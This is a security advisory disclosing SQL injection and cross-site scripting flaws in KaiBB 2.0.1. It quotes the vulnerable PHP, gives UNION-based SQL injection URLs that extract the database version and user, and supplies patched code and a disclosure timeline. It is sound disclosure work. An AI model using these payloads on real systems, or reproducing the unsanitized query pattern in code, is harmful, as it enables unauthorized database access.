Advisory: KaiBB 2.0.1 XSS and SQL Injection vulnerabilities Advisory ID: SSCHADV2011-027 Author: Stefan Schurtz Affected Software: Successfully tested on KaiBB 2.0.1 Vendor URL: http://code.google.com/p/kaibb/ Vendor Status: informed CVE-ID: - ========================== Vulnerability Description ========================== KaiBB 2.0.1 is prone to XSS and SQL Injection vulnerabilities ================== Technical Details ================== # sql injection vul code in 'kaibb/rss.php' if ( isset($_GET['forum'])) { $id = $secure->clean($_GET['forum']); $doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = '".$_GET['forum']."' ORDER BY id DESC LIMIT 15"); } else { $doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15"); } # inc/function.php class secure { function clean($content) { $content = mysql_real_escape_string(htmlspecialchars($content)); return $content; } # xss vul code in 'inc/header.php' $session_location = $_SERVER['REQUEST_URI']; ================== Exploit ================== Cross-site Scripting http:///kaibb/?' http:///kaibb/index.php?' SQL Injection http:///kaibb/rss.php?forum=' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL AND 'a'='a http:///kaibb/rss.php?forum=' UNION ALL SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL AND 'a'='a http:///kaibb/rss.php?forum=' UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL AND 'a'='a ========= Solution ========= # solution for the sql injection if ( isset($_GET['forum'])) { $id = $secure->clean($_GET['forum']); //$doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = '".$_GET['forum']."' ORDER BY id DESC LIMIT 15"); $doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = '". $id ."' ORDER BY id DESC LIMIT 15"); } else { $doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15"); } # solution for the xss vulnerability //$session_location = $_SERVER['REQUEST_URI']; $session_location = $_SERVER['SCRIPT_NAME']; or $session_location = htmlspecialchars($_SERVER['REQUEST_URI'],ENT_QUOTES); ==================== Disclosure Timeline ==================== 08-Oct-2011 - informed developers 08-Oct-2011 - release date of this security advisory 09-Oct-2011 - Post on BugTraq ======== Credits ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References =========== http://code.google.com/p/kaibb/ http://code.google.com/p/kaibb/issues/detail?id=2 http://www.rul3z.de/advisories/SSCHADV2011-027.txt